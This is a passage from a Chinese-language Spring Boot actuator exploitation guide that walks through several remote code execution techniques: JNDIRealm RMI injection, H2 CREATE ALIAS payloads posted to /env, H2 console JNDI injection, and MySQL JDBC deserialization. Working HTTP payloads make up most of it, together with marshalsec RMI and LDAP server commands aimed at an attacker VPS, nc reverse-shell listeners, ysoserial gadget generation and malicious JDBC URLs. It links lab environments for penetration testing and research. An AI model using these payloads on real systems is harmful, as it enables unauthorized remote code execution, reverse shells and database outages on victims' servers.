`JNDIObject.java`。 1007 | 1008 | 1009 | 1010 | ##### 步骤三:架设恶意 rmi 服务 1011 | 1012 | 下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 rmi 服务: 1013 | 1014 | ```bash 1015 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389 1016 | ``` 1017 | 1018 | 1019 | 1020 | ##### 步骤四:监听反弹 shell 的端口 1021 | 1022 | 一般使用 nc 监听端口,等待反弹 shell 1023 | 1024 | ```bash 1025 | nc -lvp 443 1026 | ``` 1027 | 1028 | 1029 | 1030 | ##### 步骤五:发送恶意 payload 1031 | 1032 | 根据实际情况修改 [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) 脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。 1033 | 1034 | 1035 | 1036 | #### 漏洞原理: 1037 | 1038 | 1. 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm 1039 | 2. 设置 connectionURL 地址为 RMI Service URL 1040 | 3. 设置 contextFactory 为 RegistryContextFactory 1041 | 4. 停止 Realm 1042 | 5. 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞 1043 | 1044 | 1045 | 1046 | #### 漏洞分析: 1047 | 1048 | ​ [Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html) 1049 | 1050 | 1051 | 1052 | #### 漏洞环境: 1053 | 1054 | [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce) 1055 | 1056 | 正常访问: 1057 | 1058 | ``` 1059 | http://127.0.0.1:9094/env 1060 | ``` 1061 | 1062 | 1063 | 1064 | ### 0x06:h2 database query RCE 1065 | 1066 | #### 利用条件: 1067 | 1068 | - 可以 POST 请求目标网站的 `/env` 接口设置属性 1069 | - 可以 POST 请求目标网站的 `/restart` 接口重启应用(存在 spring-boot-starter-actuator 依赖) 1070 | - 存在 `com.h2database.h2` 依赖(版本要求暂未知) 1071 | 1072 | 1073 | 1074 | #### 利用方法: 1075 | 1076 | ##### 步骤一:设置 spring.datasource.hikari.connection-test-query 属性 1077 | 1078 | > ⚠️ 下面payload 中的 'T5' 方法每一次执行命令后都需要更换名称 (如 T6) ,然后才能被重新创建使用,否则下次 restart 重启应用时漏洞不会被触发 1079 | 1080 | 1081 | 1082 | spring 1.x(无回显执行命令) 1083 | 1084 | ``` 1085 | POST /env 1086 | Content-Type: application/x-www-form-urlencoded 1087 | 1088 | spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc'); 1089 | ``` 1090 | 1091 | spring 2.x(无回显执行命令) 1092 | 1093 | ``` 1094 | POST /actuator/env 1095 | Content-Type: application/json 1096 | 1097 | {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"} 1098 | ``` 1099 | 1100 | 1101 | 1102 | ##### 步骤二:重启应用 1103 | 1104 | spring 1.x 1105 | 1106 | ``` 1107 | POST /restart 1108 | Content-Type: application/x-www-form-urlencoded 1109 | 1110 | ``` 1111 | 1112 | spring 2.x 1113 | 1114 | ``` 1115 | POST /actuator/restart 1116 | Content-Type: application/json 1117 | 1118 | ``` 1119 | 1120 | 1121 | 1122 | #### 漏洞原理: 1123 | 1124 | 1. spring.datasource.hikari.connection-test-query 属性被设置为一条恶意的 `CREATE ALIAS` 创建自定义函数的 SQL 语句 1125 | 2. 其属性对应 HikariCP 数据库连接池的 connectionTestQuery 配置,定义一个新数据库连接之前被执行的 SQL 语句 1126 | 3. restart 重启应用,会建立新的数据库连接 1127 | 4. 如果 SQL 语句中的自定义函数还没有被执行过,那么自定义函数就会被执行,造成 RCE 漏洞 1128 | 1129 | 1130 | 1131 | #### 漏洞分析: 1132 | 1133 | ​ [remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) 1134 | 1135 | 1136 | 1137 | #### 漏洞环境: 1138 | 1139 | [repository/springboot-h2-database-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-h2-database-rce) 1140 | 1141 | 正常访问: 1142 | 1143 | ``` 1144 | http://127.0.0.1:9096/actuator/env 1145 | ``` 1146 | 1147 | 1148 | 1149 | ### 0x07:h2 database console JNDI RCE 1150 | 1151 | #### 利用条件: 1152 | 1153 | - 存在 `com.h2database.h2` 依赖(版本要求暂未知) 1154 | - spring 配置中启用 h2 console `spring.h2.console.enabled=true` 1155 | - JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式) 1156 | 1157 | 1158 | 1159 | #### 利用方法: 1160 | 1161 | ##### 步骤一:访问路由获得 jsessionid 1162 | 1163 | 直接访问目标开启 h2 console 的默认路由 `/h2-console`,目标会跳转到页面 `/h2-console/login.jsp?jsessionid=xxxxxx`,记录下实际的 `jsessionid=xxxxxx` 值。 1164 | 1165 | 1166 | 1167 | ##### 步骤二:准备要执行的 Java 代码 1168 | 1169 | 编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`, 1170 | 1171 | 使用兼容低版本 jdk 的方式编译: 1172 | 1173 | ```bash 1174 | javac -source 1.5 -target 1.5 JNDIObject.java 1175 | ``` 1176 | 1177 | 然后将生成的 `JNDIObject.class` 文件拷贝到 **步骤二** 中的网站根目录。 1178 | 1179 | 1180 | 1181 | ##### 步骤三:架设恶意 ldap 服务 1182 | 1183 | 下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 ldap 服务: 1184 | 1185 | ```bash 1186 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389 1187 | ``` 1188 | 1189 | 1190 | 1191 | ##### 步骤四:监听反弹 shell 的端口 1192 | 1193 | 一般使用 nc 监听端口,等待反弹 shell 1194 | 1195 | ```bash 1196 | nc -lv 443 1197 | ``` 1198 | 1199 | 1200 | 1201 | ##### 步骤五:发包触发 JNDI 注入 1202 | 1203 | 根据实际情况,替换下面数据中的 `jsessionid=xxxxxx`、`www.example.com` 和 `ldap://your-vps-ip:1389/JNDIObject` 1204 | 1205 | ```bash 1206 | POST /h2-console/login.do?jsessionid=xxxxxx 1207 | Host: www.example.com 1208 | Content-Type: application/x-www-form-urlencoded 1209 | Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx 1210 | 1211 | language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password= 1212 | ``` 1213 | 1214 | 1215 | 1216 | #### 漏洞分析: 1217 | 1218 | ​ [Spring Boot + H2数据库JNDI注入](https://mp.weixin.qq.com/s/Yn5U8WHGJZbTJsxwUU3UiQ) 1219 | 1220 | 1221 | 1222 | #### 漏洞环境: 1223 | 1224 | [repository/springboot-h2-database-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-h2-database-rce) 1225 | 1226 | 正常访问: 1227 | 1228 | ``` 1229 | http://127.0.0.1:9096/h2-console 1230 | ``` 1231 | 1232 | 1233 | 1234 | ### 0x08:mysql jdbc deserialization RCE 1235 | 1236 | #### 利用条件: 1237 | 1238 | - 可以 POST 请求目标网站的 `/env` 接口设置属性 1239 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖) 1240 | - 目标环境中存在 `mysql-connector-java` 依赖 1241 | - 目标可以请求攻击者的服务器(请求可出外网) 1242 | 1243 | 1244 | 1245 | #### 利用方法: 1246 | 1247 | ##### 步骤一:查看环境依赖 1248 | 1249 | GET 请求 `/env` 或 `/actuator/env`,搜索环境变量(classpath)中是否有 `mysql-connector-java` 关键词,并记录下其版本号(5.x 或 8.x); 1250 | 1251 | 搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖,比如 `commons-collections`、`Jdk7u21`、`Jdk8u20` 等; 1252 | 1253 | 搜索 `spring.datasource.url` 关键词,记录下其 `value` 值,方便后续恢复其正常 jdbc url 值。 1254 | 1255 | 1256 | 1257 | ##### 步骤二:架设恶意 rogue mysql server 1258 | 1259 | 在自己控制的服务器上运行 [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) 脚本,并使用 [ysoserial](https://github.com/frohoff/ysoserial) 自定义要执行的命令: 1260 | 1261 | ```bash 1262 | java -jar ysoserial.jar CommonsCollections3 calc > payload.ser 1263 | ``` 1264 | 1265 | 在脚本**同目录下**生成 `payload.ser` 反序列化 payload 文件,供脚本使用。 1266 | 1267 | 1268 | 1269 | ##### 步骤三:设置 spring.datasource.url 属性 1270 | 1271 | > ⚠️ 修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作! 1272 | 1273 | 1274 | 1275 | mysql-connector-java 5.x 版本设置**属性值**为: 1276 | 1277 | ``` 1278 | jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true 1279 | ``` 1280 | 1281 | mysql-connector-java 8.x 版本设置**属性值**为: 1282 | 1283 | ``` 1284 | jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true 1285 | ``` 1286 | 1287 | 1288 | 1289 | spring 1.x 1290 | 1291 | ``` 1292 | POST /env 1293 | Content-Type: application/x-www-form-urlencoded 1294 | 1295 | spring.datasource.url=对应属性值 1296 | ``` 1297 | 1298 | spring 2.x 1299 | 1300 | ``` 1301 | POST /actuator/env 1302 | Content-Type: application/json 1303 | 1304 | {"name":"spring.datasource.url","value":"对应属性值"} 1305 | ``` 1306 | 1307 | 1308 | 1309 | ##### 步骤四:刷新配置 1310 | 1311 | spring 1.x 1312 | 1313 | ``` 1314 | POST /refresh 1315 | Content-Type: application/x-www-form-urlencoded 1316 | 1317 | ``` 1318 | 1319 | spring 2.x 1320 | 1321 | ``` 1322 | POST /actuator/refresh 1323 | Content-Type: application/json 1324 | 1325 | ``` 1326 | 1327 | 1328 | 1329 | ##### 步骤五:触发数据库查询 1330 | 1331 | 尝试访问网站已知的数据库查询的接口,例如: `/product/list` ,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发 1332 | 1333 | 1334 | 1335 | ##### 步骤六:恢复正常 jdbc url 1336 | 1337 | 反序列化漏洞利用完成后,使用 **步骤三** 的方法恢复 **步骤一** 中记录的 `spring.datasource.url` 的原始 `value` 值 1338 | 1339 | 1340 | 1341 | #### 漏洞原理: 1342 | 1343 | 1. spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址 1344 | 2. refresh 刷新后设置了一个新的 spring.datasource.url 属性值 1345 | 3. 当网站进行数据库查询等操作时,会尝试使用恶意 mysql jdbc url 建立新的数据库连接 1346 | 4. 然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload 数据 1347 | 5. 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞 1348 | 1349 | 1350 | 1351 | #### 漏洞分析: 1352 | 1353 | ​ [New-Exploit-Technique-In-Java-Deserialization-Attack](https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf) 1354 | 1355 | 1356 | 1357 | #### 漏洞环境: 1358 | 1359 | > 需要配置 application.properties 中的 spring.datasource.url、spring.datasource.username、spring.datasource.password,保证可以正常连上 mysql 数据库,否则程序启动时就会报错退出 1360 | 1361 | [repository/springboot-mysql-jdbc-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-mysql-jdbc-rce) 1362 | 1363 | 正常访问: 1364 | 1365 | ``` 1366 | http://127.0.0.1:9097/actuator/env 1367 | ``` 1368 | 1369 | 发送完 payload 后触发漏洞: 1370 | 1371 | ``` 1372 | http://127.0.0.1:9097/product/list 1373 | ``` 1374 | 1375 | --------------------------------------------------------------------------------